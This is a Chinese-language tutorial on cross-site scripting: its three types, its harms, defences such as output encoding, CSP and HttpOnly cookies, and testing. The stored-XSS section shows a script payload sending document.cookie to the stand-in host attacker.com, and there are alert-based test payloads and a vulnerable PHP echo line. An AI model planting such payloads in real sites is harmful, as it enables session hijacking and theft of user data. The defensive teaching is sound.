XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过向网页中注入恶意脚本(通常是JavaScript),使其在用户浏览器中执行,从而窃取用户数据、劫持会话或进行其他恶意操作。
一、XSS攻击的原理
-
核心逻辑
- 攻击者利用网站未对用户输入进行充分过滤的漏洞,将恶意脚本嵌入网页内容中。
- 当其他用户访问该页面时,浏览器会加载并执行这些脚本,导致攻击生效。
-
关键特征
- 客户端执行:攻击发生在用户浏览器,而非服务器端。
- 依赖信任关系:用户信任目标网站,但网站未正确处理用户输入。
二、XSS攻击的三种类型
1. 存储型XSS(持久型)
-
攻击流程:
- 攻击者将恶意脚本提交到网站数据库(如评论、留言板)。
- 其他用户访问包含该内容的页面时,脚本自动执行。
-
危害:长期影响所有访问该页面的用户。
-
示例:
<!-- 恶意评论内容 --> <script>stealCookie('http://attacker.com?data='+document.cookie)</script>
2. 反射型XSS(非持久型)
-
攻击流程:
- 攻击者构造一个包含恶意脚本的URL(如通过邮件或钓鱼链接)。
- 用户点击链接后,服务器将脚本返回至页面并执行。
-
特点:需诱导用户主动点击链接。
-
示例:
http://victim.com/search?query=<script>alert('XSS')</script>
3. DOM型XSS
-
攻击流程:
- 恶意脚本通过修改页面的DOM结构触发(无需服务器参与)。
- 常见于前端JavaScript动态操作DOM的场景。
-
示例:
// 假设从URL参数中获取内容并直接插入DOM const userInput = new URLSearchParams(window.location.search).get('content'); document.getElementById('output').innerHTML = userInput; // 风险点
三、XSS攻击的危害
-
窃取敏感信息
- 盗取用户Cookie、会话Token,实现会话劫持。
- 获取用户输入的密码、银行卡信息等。
-
篡改页面内容
- 插入虚假登录表单(钓鱼攻击)。
- 重定向用户至恶意网站。
-
高级攻击
- 结合浏览器漏洞下载木马。
- 发起CSRF(跨站请求伪造)攻击。
四、防御XSS攻击的关键措施
1. 输入过滤与验证
- 对用户输入进行严格校验(如长度、格式、特殊字符)。
- 使用白名单机制,仅允许安全字符(如正则表达式过滤
<script>
标签)。
2. 输出编码(关键防御)
-
将用户输入的内容在输出到页面时进行转义:
- HTML编码:将
<
转为<
,>
转为>
。 - JavaScript编码:使用
\xHH
形式转义特殊字符。
- HTML编码:将
-
前端框架自动转义:如React的
{变量}
、Vue的{{ }}
默认会转义内容。
3. 安全使用DOM API
-
避免直接操作
innerHTML
,优先使用textContent
:// 错误示例(易引发XSS) element.innerHTML = userInput; // 正确做法 element.textContent = userInput;
4. 设置HttpOnly Cookie
-
标记Cookie为
HttpOnly
,禁止JavaScript通过document.cookie
读取:Set-Cookie: sessionId=abc123; HttpOnly; Secure
5. 启用CSP(内容安全策略)
-
通过HTTP头限制页面资源加载来源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
五、实际案例与测试方法
1. 测试XSS漏洞
- 手动测试:输入
<script>alert(1)</script>
,观察是否弹窗。 - 工具扫描:使用OWASP ZAP、Burp Suite等工具自动化检测。
2. 漏洞修复示例
-
漏洞代码:
echo "<div>" . $_GET['content'] . "</div>"; // 直接输出用户输入
-
修复代码:
echo "<div>" . htmlspecialchars($_GET['content'], ENT_QUOTES) . "</div>"; // 转义输出
六、与其他攻击的区别
-
XSS vs CSRF:
- XSS利用用户对网站的信任,在用户浏览器执行脚本。
- CSRF利用网站对用户浏览器的信任,伪造用户请求(如转账操作)。
总结
XSS攻击的本质是“让用户浏览器执行非预期的代码”。防御的核心在于:
- 不信任任何用户输入(过滤+转义)。
- 启用CSP(内容安全策略)
- 设置HttpOnly Cookie